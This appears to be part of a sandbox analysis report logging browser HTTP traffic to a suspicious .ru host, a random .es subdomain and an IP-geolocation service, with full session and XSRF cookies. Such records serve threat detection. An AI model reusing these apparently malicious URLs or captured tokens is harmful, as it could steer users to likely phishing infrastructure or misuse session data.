laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klYCk90LKedSe1ynK7yyzmPttwF6ewB8doje9edLxZ78169 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://8rgz.mdrvgqsm.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://8rgz.mdrvgqsm.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqkq7lzqptNjsuiaR6YyzVI9vn2uv40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wxbZD8J7FTYmSxlvQoeRprDFjztNLmnVGfLqei0S3C5OKYFYXo90179 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opowMPuYIMGVBx5n7AAG78V35uF3py8hCLijORfT7SVV23SFMOHax2cd200 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijSkkjeYWqhqBKvnC2TUEqEfGmnJFn8Pjag4LHRcCqpfwe12210 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opowMPuYIMGVBx5n7AAG78V35uF3py8hCLijORfT7SVV23SFMOHax2cd200 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kzujbonhemvingaHVdyfUSWFKPQRVMPPXZNKFVJTDHTPMDNWZYSYUNXIpqNAhmZOcMfKUtPosk4N34sZobuv40 HTTP/1.1Host: np1xtcyh7qywewlmursz11dw4g1augfqii5pwzgirzvhl1y19010.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /qrzUTe01c3GA4ITsUYgBsEBWlbjIsxFsay4kKXstvJVvIlppDKa2IOiUQEuDchvXWODw5sef240 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stswQdXTRgBY0HzyEciW65lotbhXj8llUSQGGnMzDa6o45W62oZe2tgZETQvll7NdGABhMQl2v2NBKsgNef260 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8rgz.mdrvgqsm.ru/ufyzhuqpbainyabypeuf6EV4UC6CEKG6UM5T87J61EJZJ4HZU?UIDUYGOKRTPSRPBLRSNIUYNMRDZSAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijSkkjeYWqhqBKvnC2TUEqEfGmnJFn8Pjag4LHRcCqpfwe12210 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxbZD8J7FTYmSxlvQoeRprDFjztNLmnVGfLqei0S3C5OKYFYXo90179 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klYCk90LKedSe1ynK7yyzmPttwF6ewB8doje9edLxZ78169 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrzUTe01c3GA4ITsUYgBsEBWlbjIsxFsay4kKXstvJVvIlppDKa2IOiUQEuDchvXWODw5sef240 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /stswQdXTRgBY0HzyEciW65lotbhXj8llUSQGGnMzDa6o45W62oZe2tgZETQvll7NdGABhMQl2v2NBKsgNef260 HTTP/1.1Host: 8rgz.mdrvgqsm.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImdGdkFiMU1GdUFwVUdOY05HejM0anc9PSIsInZhbHVlIjoibUhHRW5ZOWp0cHpjcjQzaENIUzVVZndqRXZXcWJUQlJFMHBsMnBmejFqWmZ4WjR3WEpmUFhLWlJtcVdZTFVjQ0pJL3o2SDNKN25heUxKUXhtakEzVTQ3NVFUeUlzT3VzL1FBVGMxa0FuUVJYRXJYcTQzaUkybUpOVWtlMmo1WE8iLCJtYWMiOiJiODBiZWE0ZTZjNzA2ZTI1YmE2OGVkNGM5YWYzYWFlMzM2ODBmZWJhOTA4MWZiYjg2NzYyMTYyODk1MTFkNWY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjFEdWRzcDNaM2ZTQUJoK2dFbU9UeUE9PSIsInZhbHVlIjoibERCWEprRjJIRXhXakNQQjJaQldFeXB2WFNXRTJPVXBXYVhDTXRKYUdXNW5UODRCNWNUdnZIdWFFODVoQjY5c1YrNjBlN25CemlwVm1PaXovd29VSXFJQmt3M1RXNmZ6aGU1djdZUktGTkYzSHkzMGgwVFdxNkM1VHVJMkhoVHIiLCJtYWMiOiJkYmU3NDYwZTUxM2U2NGMxMzYxMTQ0MjgyNmQzN2ExMzRjYjI0MTA1MWE2NTIzNmM1NzczYjFiYzZmOGI4M2FkIiwidGFnIjoiIn0%3D
